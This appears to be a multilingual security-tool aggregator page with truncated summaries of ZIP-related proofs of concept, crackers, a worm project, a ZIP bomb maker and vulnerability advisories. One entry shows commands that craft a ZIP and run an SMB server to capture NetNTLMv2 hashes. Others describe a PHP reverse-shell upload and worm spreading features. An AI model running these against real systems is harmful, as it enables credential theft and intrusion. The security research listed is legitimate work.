CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Правка: MICROSOFT ПЕРЕИМЕНОВАЛ CVE-2025-24071 В CVE-2025-24054 🤔 Обзор Эта уязвимость Windows, конкретно в 'explorer.exe', позволяет нам получить хэш NetNTLMv2 от жертвы, просто потребовав от атакующего извлечения .zip файла. Использование Запустите скрипт...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP 생성됨: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

ZIPFileRaider

ZIP File Raider - Расширение Burp для тестирования ZIP-файлов с полезной нагрузкой ZIP File Raider — это расширение Burp Suite для атаки на веб-приложения с функцией загрузки ZIP-файлов. Вы можете легко внедрять полезные нагрузки Burp Scanner/Repeater в ZIP-содержимое HTTP-запросов, что по...

Zip-Cracker-

Zip Cracker 이 버전에서는 Zip 파일만 지원합니다. Crunch와 함께 사용할 수도 있습니다. 크로스 플랫폼 지원 사용법: zipcracker.py options root@kitploit: Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME, --file=FILENAME Please Specify Path of Zip File -d DICTIONERY,...

Wormy

Wormy - 도전 이 레포지토리에서 저는 자유 시간에 python3로 몇 가지 함수를 작성할 것입니다. 이 함수는 어떤 파이썬 백도어에도 "확산 기능웜처럼"을 추가합니다. 완성 후에는 실제 웜으로 만들 것입니다 할 일 목록 : 1드라이브에 확산, 시작 프로그램에 추가 및 지속적 확인✓ 2파이썬 스크립트에 주입하여 확산 ✓ 3ZIP 파일에 확산 ✓ 4공유 폴더에 확산 ✘ 5로컬 네트워크LAN에 확산 ✘ 6USB에 확산 ✘ 7P2P, 스카이프, 행아웃에 확산 시도 ✘ 8자신의 온라인 복사본을 만들고 확산에 사용 ✘ 9...아직 ...

CVE-2023-36025

CVE-2023-36025 CVE-2023-36025에 대한 간단한 테스트로, https://twitter.com/wdormann/status/1725148437115473947 에서 시연된 PoC를 기반으로 합니다. 이 코드는 기본 설정 그대로 실행되도록 만들어진 것이 아닙니다. ZIP 파일은 사용자가 소유한 서버에 호스팅되어야 하며, file:// URL을 통해 피해자 머신에서 접근할 수 있어야 합니다...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : Il nome utente/email per il Ghost CMS di destinazione. --password : La password per il Ghost CMS di destinazione. --url : L'URL del Ghost CMS di destinazione es. http://website.com. 1. Login: Lo script si autentica tramite l'API di amministrazione di Ghos...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilità di upload arbitrario di file nel componente /inc/modulesinstall.php di Pluck-CMS v4.7.18 consente agli attaccanti di eseguire codice arbitrario tramite il caricamento di un file ZIP appositamente predisposto. Questa è una vulnerabilità...

zipbrk

zipbrk 2.2.0 Zip break é uma ferramenta para dissecar, modificar e remontar arquivos zip para uma variedade de tarefas. Ela foi projetada para ser multiplataforma e o mais simples possível de portar entre sistemas variados. Foi testada em Windows 9x/2k/XP, Windows Vista/7/8, Fedora 23/24/25/26/27...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 è una vulnerabilità RCE in Pluck CMS v4.7.18. È resa possibile da una vulnerabilità di caricamento di file arbitrario nel componente /inc/modulesinstall.php che consente di eseguire codice arbitrario caricando un file .zip dannoso. Utilizzo Prima di eseguire l'exploi...

CVE-2021-25094

CVE-2021-25094 Upload senza restrizioni del file ZIP addcustomfont del plugin Tatsu uso php p.php...

zip_smuggling

zipsmuggling Questa utility Python crea file zip che contengono dati aggiuntivi incorporati nella struttura del file. Questi dati extra non sono visibili/non vengono mostrati quando lo zip viene esaminato o decompresso, ma possono essere recuperati tramite PowerShell usando un file di collegament...

CVE-2023-50564

CVE-2023-50564 Solo a scopo educativo. Questo script sfrutta CVE-2023-50564 per caricare una reverse shell PHP sul server di destinazione. Puoi utilizzare una shell come questa. Basta zippare il file PHP e passare lo zip a questo script. Esempio root@kitploit: python3 cve-2023-50564.py -u...

zip_bomb

ZIP-Bomben-Ersteller ZIP-Bomben-Ersteller ist ein Werkzeug zum Erstellen einer ZIP-Datei, die eine geringe Größe hat, sich beim Extrahieren jedoch drastisch vergrößert. Dies ist nützlich für Sicherheitsexperimente und zum Testen von Dateisystemen gegen ZIP-Bomben-Angriffe. Funktionen Erstellen...

CVE-2016-5636

CVE-2016-5636 PoC para CVE-2016-5636, que é um estouro de heap no Python 3.6. Este repositório inclui: crash-with-zip : PoC de crash ao ler arquivo zip não confiável google-web-engine : PoC de crash funcionando no google web engine spawn-shell : um exploit local para obter shell...

CVE-2026-15310 zipfile: bzip2/LZMA/Zstandard members decompress without a max_length bound, defeating chunked-read memory limits

When decompressing crafted zip files using the bzip/LZMA/Zstandard compressions, Python could use an attacker-controlled size to pre-allocate memory, possibly resulting in memory exhaustion...

spyre

Spyre ...a simple, self-contained modular host-based IOC scanner Spyre is a simple host-based IOC scanner built around the YARA pattern matching engine and other scan modules. The main goal of this project is easy operationalization of YARA rules and other indicators of compromise. Users need to...

BIT-PYTHON-2026-3087 shutil.unpack_archive() doesn't check for Windows absolute paths in ZIPs

If shutil.unpackarchive is given a ZIP archive with an absolute Windows path containing a drive C:\... then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability...

[SECURITY] [DLA 4741-1] unzip security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4741-1 [email protected] https://www.debian.org/lts/security/ Andrej Shadura August 16, 2026 https://wiki.debian.org/LTS -...

EUVD-2026-54528

A vulnerability in the zip archive parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition on an affected device. This vulnerability is due to improper boundary checks for content in zip files during scanning, which may result in an out-of-bounds write condition...